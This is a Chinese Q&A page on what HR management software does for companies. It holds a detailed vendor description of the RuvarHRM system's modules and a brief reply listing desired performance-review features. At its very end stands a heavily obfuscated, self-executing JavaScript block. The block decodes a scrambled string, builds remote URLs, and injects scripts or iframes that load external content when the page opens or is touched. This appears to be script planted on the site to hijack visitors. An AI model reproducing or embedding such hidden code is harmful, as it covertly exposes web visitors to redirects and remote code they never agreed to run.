人力资源管理软件能为企业做什么?

人软资源管理软件能为企业做什么?
2025-02-24 16:56:51
推荐回答(2个)
回答1:

广州璐华科技有限公司

介绍一款好用的人力资源管理软件

璐华RuvarHRM人力资源管理系统解决方案

RuvarHRM人力资源管理系统,汇集了众多成功企业先进的人力资源管理理念、人力资源管理实践、人力资源信息化系统建设的宝贵经验,以先进的信息技术,实现对企业人力资源信息的高度集成化管理,是适合中国企业使用的人力资源管理解决方案,为现代企业的成长与发展提供了先进、科学、务实的人力资源管理模式。

RuvarHRM采用基于IE浏览器的 B/S 结构,以人员管理、考勤管理、薪资管理、招聘管理、培训管理、合同管理、社保福利、绩效考核、报表中心为核心功能模块,是企业领导、HR经理和员工全员参与的,可多层次管理的集团版eHR系统。

1.岗位规划
建立规范化的岗位管理,管理机构、岗位变动,部门合并等工作,实现岗位信息方便快捷的统计与查询。

机构管理:建立机构管理,可以为每个机构设置根机构(公司)与子机构(部门),每一个机构可以定编人数;每一个部门可以定编人数,可以看到每一部门在岗的人数与超编的人数;根机构或子机构之间可以进行顺序调整。

岗位管理:建立岗位(职务)管理,如岗位设置,岗位定编(为每一位岗位设定计划人数);岗位删除的时候,如果岗位里还有人员,则删除不了,必须确认岗位里没有任何人员才能删除该岗位。

岗位查询:提供方便快捷的查询,可以根据不同条件查询到详细的岗位信息,可以设置每页显示信息的条数,可以跳转页数,同时可以以Excel文件格式导出查到的数据。

部门合并: 可以实现机构、部门的合拼,避免批量员工信息要重新输入,但是该操作是不可逆的,操作时要谨慎。

基础设置:可以增加一些有必要用到的岗位类别,或删除一些没有必要用的岗位类别。

2、人员管理
建立人员信息档案,管理各类人员基本信息和变动信息,实现人员信息方便快捷的统计和查询,完成各类人员管理台帐。

在职人员管理:管理完整的人员档案信息;支持快速简单与复杂条件的查询筛选;并可将查询结果生成Excel报表存至报表中心供领导查询或直接导出成Excel文件;支持批量更新人员信息,可进行人员转正,人员奖赏记录等管理;人员年龄与出生年月可以自动根据身份证号计算出来。

人员档案自动连接员工从进入单位到离职全过程的历史记录,包括薪资变动、部门变动、职位变动、奖惩情况、培训记录、合同记录、社保记录、绩效考核、用品领取记录等,还可以根据需要自定义字段或信息子集。

离职管理:对在职人员进行离职(离职步骤:离职申请-离职审核-待离职-正式离职);管理已离职的人员档案,支持简单与复杂的查询,可以将这些信息生成报表或直接导出成Excel文件;对重新进入单位员工可以直接“复职”,避免重复输入档案资料,人员复职后在人员异动信息那里有复职记录。

异动管理:管理员工在单位的异动情况,包含岗位变动(不同部门不同职位的变动,可以实现单个人的变动也可以实现集体变动)、工资变动等,并可将这些信息生成相关报表或直接导出成Excel文件。

档案导入:管理人员信息档案的导入,可以导入文件格式付合系统要求的Excel文件(人员信息),而且可以根据需要自定义增加与减少某些字段。

子集例表:管理新增子集信息,这里显示详细的新增子集信息,支持简单与复杂的查询,查询到的信息可以以Excel表形式导出。

统计报表:系统可通过设定条件自动生成多种统计、分析报表。

如:人员档案、人员结构、人员流动、部门分类统计、部门人数统计、年龄分析、本月人员流动统计等。

基础设置:管理字段自定义、子集自定义;对人员档案列表重新设定排序;设定试用期员工转正提醒、证照到期提醒、人员退休提醒;自定义员工履历表打印格式;定义统计报表;设置工龄计算方式;设置其他参数的值,如婚姻状况、籍贯、民族、学历等。

3、考勤管理
管理考勤信息,设定考勤班次,建立员工考勤排班,录入(或导入)考勤数据,根据考勤排班自动计算员工考勤结果,生成考勤统计报表,并为薪资计算提供相关数据。

排班管理:管理设定班次,每个班次允许最多3个班段(两个正常班段及一个加班班段),每个班段可以有不同的迟到计算方法;支持按部门排班,按个人调班。

考勤管理:管理打卡记录信息,可以录入(或导入)打卡记录信息,导入的考勤数据可以有两种文件格式:TXT格式的文件与EXCEL格式的文件;生成考勤明细,对漏打卡情况可补等打卡数据。

请假管理: 登记、审核员工请假信息,可按多种条件查询请假记录。

加班管理:登记、审核员工加班信息,可按多种条件查询请假记录。

出差管理:登记、审核员工出差信息,可按多种条件查询请假记录。

考勤统计:根据出勤明细等数据,对考勤、请假、加班情况进行分类统计,统计结果可以作为薪资计算引用。

统计报表:通过设定条件,动态生成需要的打卡记录报表、请假记录报表、加班记录报表、出差报表等。

基础设置:定义考勤规则,定义哪些人是否需要考勤,导入设置(导入打卡数据),考勤卡号设置,定义出差、休假、请假、假期、加班类别,节假日设定。

4、薪资管理
管理薪资信息,完成对各类人员工资的工资帐套维护、工资计算、发放工资,生成银行报盘及相关工资统计报表。

基础设置:定义工资项目(名称),设定级别工资与岗位职级工资,设定薪资规则,设定区间扣税的数值范围。

帐套管理:建立工资帐套,每个帐套可以选择一种扣税方法,一种是按国家规定的,另一种是按区间扣税(扣税金额会按照基础设置中的相关数值范围来扣),帐套的工资项目从基础设置中任意选择,每个工资项目的值都可由前面已设工资项及系统相关数据(如考勤、请假数据,社保数据,绩效考核数据,档案信息中的岗位职级等)进行运算获得,同时工资项目可以指定操作人(这样可以实现工资项目分次发放)。

每个帐套的适用人员可以不同,但每个人不能隶属于多个帐套;人员离职后,如果人员档案信息没有删除或者这里的工资帐套信息不做任何修改,之前设置的工资帐套信息依然有效,工资造表的时候还可以生成相关工资信息。

工资管理:可预先设定一些基本不变的工资项目;以自然月为单位生成各帐套的工资表,工资表的数据项可以批量修改,也可以从EXCEL表导入。

工资表造完之后,可以提交审核,审核通过后进行工资发放,最后可以进行工资条打印。

月末处理:按帐套汇总该帐套每个月的工资报表,按月汇总所有帐套该月的所有工资报表,可生成并导出银行报盘数据

统计报表:可以查看每个帐套或所有帐套的月汇总表,生成员工、部门月度及年度工资统计报表,根据多种参数进行工资结构图形分析。

5、招聘管理
企业的招聘活动的管理,包括:部门的招聘需求申请,人事部门进行招聘计划的制定,招聘岗位的发布,外部招聘活动管理、内部招聘活动管理等。

招聘需求:汇总个人、部门提交的培训需求(每个员工都可以招聘需求申请),可以进行逐一处理,处理完成之后可以转化为招聘计划。

招聘计划:可根据需求制定相应的招聘计划(内部招聘计划或外部招聘计划),计划制定后要发布,完成招聘后进行计划实施。

简历管理:管理应聘者简历(外部招聘简历),安排相关面试测评后会相应绑定面试成绩;录用的应聘者简历可直接转为人员档案。

面试测评:针对符合需要的建立安排面试流程。

面试官自动收到面试简历后根据设定的面试问卷进行面试及评分。

面试结果有优先录用、后备录用、存入人才库或放弃。

内部招聘:处理收到的内部应聘申请,安排面试流程,进行面试测评,查询历史面试结果。

简历报表:根据需要生成简历报表并存为历史数据。

基础设置:根据需要自定义招聘需求表、招聘计划表的字段;自定义面试测评模板;自定义面试流程。

6、培训管理
对企业内部员工培训体系的管理,实现培训计划与资源的管理。

培训资源:管理相关培训资源,包含培训教材、培训机构、培训讲师、培训课程、培训证书。

培训需求:汇总个人、部门提交的培训需求(每个员工都可以进行培训需求申请),可以进行逐一处理,处理完成之后可以转化为培训计划。

培训计划:根据人力资源规划制定培训规划与相应的培训课程,培训计划需要进行审核,计划还没有进行之前可以进行信息变更(包含课程类型、主办部门、培训起止时间、课时、费用、参训人等信息),计划完成登记之后可进行实施,主要对培训费用的确认,另外培训计划里面的字段可以自定义。

培训记录:记录培训课程完成情况,登记实际参加培训人员的培训体会培训记录自动连接至个人档案。

培训评估:参与培训的人员可以对培训过程中的内容进行评估,可以自定义评估模板。

统计报表:按时间段统计培训教材、培训课程、培训机构、培训记录、培训统计,并生成报表。

基础设置:自定义培训计划的字段,定义一些教材类型、课程类型、机构类型、需求类型等。

7、保险福利
管理员工社会保险的投保与退保,包含养老保险、女工生育、工伤保险、失业保险、医疗保险、住房公积金、重大医疗险、补充医疗险等。

社会保险:
1、帐套管理:建立设置保险帐套,设置帐套操作人。

2、缴费标准:为每一个保险帐套设置缴费标准。

3、增减员管理:为员工设置保险帐套,每个员工只能属于一个帐套;员工离职后,如果员工档案没有删除,或者这里的员工帐套信息没有做任何修改,事先设置的员工帐套信息依然有效,还可以生成相关的保险信息。

4、参保管理:可以进行保险基数与保险缴费比例的导入,支持保险信息批量修改。

5、保险台帐:生成保险台帐,可以按年月、保险帐套等条件进行查询详细保险信息。

月末处理:按月汇总保险信息报表,按年汇总保险信息报表国。

保险理赔:记录工伤、生育等理赔信息。

统计报表:可查询社保所有帐套的月、年汇总报表,支持复条件的查询,查询各部门的月、年社保信息报表。

基础设置:可根据需要自定义工伤理赔与生育理赔的字段。

8、合同管理
管理合同信息,完成单位与员工的劳动合同或其它合同协议的签订、变更、续签、违约、终止等各项管理功能。

合同管理:签订、终止企业与员工的合同,如劳动合同、培训协议、保密协议、竞业禁止协议、无息借款协议以及其他类别的合同协议;可以接在职离职各种状态来查询劳动合同,也可以安本月、本季、本年等条件查询到期的劳动合同,到期的劳功合同还可以进行续签。

合同审核:合同签订需要审核,审核通过后的合同基本信息自动连接至相关人员档案信息中。

综合查询:可以查询所有类型与各种状态的合同,还可以查到没有签订劳动合的员工。

劳动用工:根据劳动合同,记录用工办理情况。

基础设置:根据需要自定义各种合同的字段,设定合同规则,合同编规则,设置员工合同到期提醒等。

9、绩效考核
绩效考核的部署方式因企业的工作模式和工作岗位的不同而不同,人力资源管理者在不同时间、不同部门需要应用多种不同的考核管理工具来开展工作。

系统既设计了一个用户可以自己定义绩效考核类别、项目、评分标准、权重等的平台,又提供了可以满足KPI、360度反馈等考核方式的参考模式,力图帮助企业实现客观公正的考评。

指示模版:根据需要自定义绩效考核表,内容包括指标名称、考核标准、以及标准指标相应的分值。

KPI考核:发起KPI考核,针对不同的考核对象关联相应考核模版。

每个被考核人只能关联一个考核模版,允许多人对其进行考核评分;每个考核人的评分权重可以不同,但所有权重的和必须是100%;每项考核必须指定考核修正人,修正不公正的考核信息;新添加的KPI考核表在提交评分之前可以另外保存下来,方便下次用到同样条件的考核不用重新建立考核,直按调用就行了;完成考核后可以查看考核评分详细信息,可以导入外部考核完成的考核信息。

360度考核:考核发起过程类似KPI考核,不同在于对一个员工的考核允许不同维度,即一项考核可以绑定多个不同的模版(如对于一个员工的考核,上级领导考核使用一个模版,平级同事考核又使用另一个模版),每个模版的分值在整个考核总分中的权重可以不同但所有权重的和必须是100%;同样每项考核必须指定考校修正人,修正不公正的考核信息;新添加的360度考核表在提交评分之前可以另外保存下来,方便下次用到同样条件的考核不用重新建立考核,直按调用就行了;完成考核后可以查看考核评分详细信息,可以导入外部考核完成的考核信息。

考核申诉:员工对于针对自己的考核结果不满意可以提出申诉,亦可查询申诉处理情况。

统计报表:按部门、按考核类型生成已完成的考核报表。

10、系统报表
系统报表中心将系统内各个模块的报表集中起来,让企业领导或部门管理者可以进行集中查询,从而使企业高层或人事管理人员可以方便地获悉人力资源各层面的情况,为制定最具竞争力的策略提供依据,报表内容与各功能模块的报表完全一致,但可单独划分权限。

人员管理报表:管理查询人员档案报表、人员结构分析报表、部门分类统计报表、人员流动统计报表、自定义报表、其他报表等;支持简单与复杂条件查询、支持导出、支持直接打印。

考勤管理报表:管理查询打卡记录报表、请假记录报表、加班记录报表、出差记录报表、出勤统计报表等;支持简单与复杂条件查询、支持导出、支持直接打印。

薪资管理报表:管理查询月帐套工资汇总表、月工资汇总表、部门工资年报、员工收入汇总表、工资结构分析等;支持简单与复杂条件查询、支持导出、支持直接打印。

成绩考核报表:管理查询KPI绩效考核报表、360绩效考核报表;支持简单与复杂条件查询、支持导出、支持直接打印。

培训管理报表:管理查询培训次数明细报表、培训成绩统计报表、培训明细报表、培训费用统计报表、培训课程统计报表、培训统计报表、培训评估统计报表等;支持简单与复杂条件查询、支持导出、支持直接打印。

保险福利报表:管理查询社保月汇总报表、社保年汇总报表、部门月汇总报表、部门年汇总报表等;支持简单与复杂条件查询、支持导出、支持直接打印。

组织机构报表:管理查询部门定编报表、岗位定编报表等;支持简单与复杂条件查询、支持导出、支持直接打印。

招聘管理报表:管理查询招聘简历报表;支持简单与复杂条件查询、支持导出、支持直接打印。

用品管理报表:管理查用品部分领用统计报表、库存统计报表、入库汇总表等;支持简单与复杂条件查询、支持导出、支持直接打印。

11.规章制度
管理企业人事规章制度,可以建立制度类别,按类别上传相应制度文档,方便用户实时查看阅读,发布制度的时候可以设置权限只给某些人查阅。

12、用品管理
管理员工用品信息,实现对各类用品的入库,发放,更换,统计报表等功能。

用品管理:实现用品入库登记,用品发放登录,用品更换功能;用品发放后,用品发放信息将自动绑定到人员信息的相关子集中;用品发放可以设置使用期限,用品使用期限快到的时候,在系统桌面上会有相关提醒信息。

统计报表:可按日期、用品名称、用品规格生成部门领用统计报表;可按用品名称、用品规格生成库存统计报表;可按日期、用品名称、用品规格生成入库汇总表。

基础设置:可根据情况设定用品类别,用品信息,用品规格;自定义某些字段;设置用品到期提醒时间。

13.员工自助
让员工和非人力资源部门的管理人员也可以参与到人力资源管理流程中去,使人力资源管理更科学。

员工可以查看本人的档案信息以及相关的信息如社会保险、培训、薪资、岗位异动、合同、绩效考核成绩等;

部门负责人可以查看本部门所有员工的档案及相关信息;

员工可以在线进行考核评分;

员工可以提交培训需求、招聘需求、考核申诉等;

员工可以在线查阅规章制度、企业部门岗位职责、当月(周)生日员工等。

14、后台管理
设定企业组织架构、群组角色,按照不同群组来设置系统操作使用权限。

根据组织机构设定用户的系统登陆帐号,每个用户帐号可以同时是多个群组角色,管理用户登陆日志,监控系统使用情况等。

组织机构:建立企业组织架构、部门,支持多机构以及部门多层级;

岗位设置:建立企业岗位,包含岗位的完整信息如岗位描述、任职资格考核指标等;

群组设置:建立群组角色,主要用来分配前台操作权限。

权限设置:针对不同群组分配前台各模块的操作管理权限,权限可以多层次管理,支持不同用户只管理指定的部门;

用户设置:建立登录管理用户,且给用户分配登录角色,管理帐号进入前台可以进行管理操作。

自助帐号:每个员工都可以分配到的帐号,可以批量生成,自助帐号进入前台仅可以查看自己本关的信息。

帐号绑定:将帐号(管理帐号与自助帐号)与相关人员信息进行绑定。

系统查询编辑:实现高级查询(实现多个表的查询),可以直接编写SQL语句,也可以用高级选择的方法来实现多个表的查询。

管理帐号设置:管理设置更改管理员帐号与密码,设定限制登录IP等。

登录日志:管理查看所有用户登录与退出的信息。

回答2:

没见过。
不过我是做人力资源的,我希望他能做:
1、部门岗位职能
2、企业、部门、个人工作计划
3、通过上述描述建目标管理卡
4、考核打分
5、分数汇总,算考核工资
6、素质能力测评

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();